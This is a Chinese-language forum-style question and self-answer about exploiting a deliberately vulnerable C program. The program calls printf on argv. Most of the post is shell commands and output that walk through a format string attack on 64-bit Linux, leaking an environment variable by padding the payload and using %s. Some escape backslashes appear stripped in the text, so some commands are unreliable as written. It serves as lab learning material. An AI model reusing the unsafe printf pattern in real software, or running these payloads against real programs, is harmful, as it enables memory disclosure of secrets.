我正在尝试使用格式字符串漏洞从环境中读取值。 这种类型的漏洞记录在整个网络上,但是我找到的示例仅涵盖32位Linux,而我的桌面运行的是64位Linux。
这是我用来运行测试的代码:
//fmt.c
#include <stdio.h>
#include <string.h>
int main (int argc, char *argv[]) {
char string[1024];
if (argc < 2)
return 0;
strcpy( string, argv[1] );
printf( "vulnerable string: %sn", string );
printf( string );
printf( "n" );
}
编译后,我放置了我的测试变量并获取其地址。然后我把它作为一个参数传递给程序,我添加一堆格式以便从中读取:
$ export FSTEST="Look at my horse, my horse is amazing."
$ echo $FSTEST
Look at my horse, my horse is amazing.
$ ./getenvaddr FSTEST ./fmt
FSTEST: 0x7fffffffefcb
$ printf 'xcbxefxffxffxffx7f' | od -vAn -tx1c
cb ef ff ff ff 7f
313 357 377 377 377 177
$ ./fmt $(printf 'xcbxefxffxffxffx7f')`python -c "print('%016lx.'*10)"`
vulnerable string: %016lx.%016lx.%016lx.%016lx.%016lx.%016lx.%016lx.%016lx.%016lx.%016lx.
00000000004052a0.0000000000000000.0000000000000000.00000000ffffffff.0000000000000060.
0000000000000001.00000060f7ffd988.00007fffffffd770.00007fffffffd770.30257fffffffefcb.
$ echo 'xcbxefxffxffxffx7f%10$16lx'"c" | od -vAn -tx1c
cb ef ff ff ff 7f 25 31 30 24 31 36 6c 78
313 357 377 377 377 177 % 1 0 $ 1 6 l x
$ ./fmt $(echo 'xcbxefxffxffxffx7f%10$16lx'"c")
vulnerable string: %10$16lx
31257fffffffefcb
第 10 个值包含我要从中读取的地址,但是它没有用 0 填充,而是用值 3125 填充。
有没有办法正确填充该值,以便我可以使用类似于"%s"格式的内容读取环境变量?
因此,在尝试了一段时间后,我遇到了一种使用格式字符串漏洞读取环境变量的方法。 这有点草率,但嘿 - 它有效。
所以,首先是平常。我创建了一个环境值并找到它的位置:
$ export FSTEST="Look at my horse, my horse is amazing."
$ echo $FSTEST
Look at my horse, my horse is amazing.
$ /getenvaddr FSTEST ./fmt
FSTEST: 0x7fffffffefcb
现在,无论我如何尝试,将地址放在格式字符串之前总是会混合在一起,所以我将地址移到后面并添加了一些我自己的填充,这样我就可以识别它并在需要时添加更多填充。 此外,python 和我的环境与一些转义序列相处不相处,所以我最终混合使用了 python 单行和 printf(由于第二个 printf 解析单个"%"的方式,带有额外的"%" - 请务必在使用 od/hexdump/whathaveyou 测试后删除这个额外的"%"(
$ printf `python -c "print('%%016lx|' *1)"
`$(printf '--------xcbxefxffxffxffx7fx00') | od -vAn -tx1c
25 30 31 36 6c 78 7c 2d 2d 2d 2d 2d 2d 2d 2d cb
% 0 1 6 l x | - - - - - - - - 313
ef ff ff ff 7f
357 377 377 377 177
解决了这个问题后,下一步将是找到填充或(如果幸运的话(地址。 我将格式字符串重复 110 次,但您的里程可能会有所不同:
./fmt `python -c "print('%016lx|' *110)"
`$(printf '--------xcbxefxffxffxffx7fx00')
vulnerable string: %016lx|%016lx|%016lx|%016lx|%016lx|...|--------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
0000000000000324|...|2d2d2d2d2d2d7c78|7fffffffefcb2d2d|0000038000000300|
00007fffffffd8d0|00007ffff7ffe6d0|--------
连续的">2d"值只是"-"的十六进制值 在添加更多"-"进行填充和测试后,我最终得到了这样的东西:
./fmt `python -c "print('%016lx|' *110)"
`$(printf '------------------------------xcbxefxffxffxffx7fx00')
vulnerable string: %016lx|%016lx|%016lx|%016lx|...|------------------------------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
000000000000033a|...|2d2d2d2d2d2d7c78|2d2d2d2d2d2d2d2d|2d2d2d2d2d2d2d2d|
2d2d2d2d2d2d2d2d|00007fffffffefcb|------------------------------
因此,地址被推到了最后一个格式占位符。 让我们修改输出这些格式占位符的方式,以便以更方便的方式操作最后一个:
$ ./fmt `python -c "print('%016lx|' *109 + '%016lx|')"
`$(printf '------------------------------xcbxefxffxffxffx7fx00')
vulnerable string: %016lx|%016lx|%016lx|...|------------------------------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
000000000000033a|...|2d2d2d2d2d2d7c78|2d2d2d2d2d2d2d2d|2d2d2d2d2d2d2d2d|
2d2d2d2d2d2d2d2d|00007fffffffefcb|------------------------------
它应该显示相同的结果,但现在可以使用"%s"作为最后一个占位符。 将"%016lx|"替换为"%s|"不起作用,因为需要额外的填充。因此,我只需添加 4 个额外的"|"字符来补偿:
./fmt `python -c "print('%016lx|' *109 + '||||%s|')"
`$(printf '------------------------------xcbxefxffxffxffx7fx00')
vulnerable string: %016lx|%016lx|%016lx|...|||||%s|------------------------------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
000000000000033a|...|2d2d2d2d2d2d7c73|2d2d2d2d2d2d2d2d|2d2d2d2d2d2d2d2d|
2d2d2d2d2d2d2d2d|||||Look at my horse, my horse is amazing.|
------------------------------
瞧,环境变量泄露了。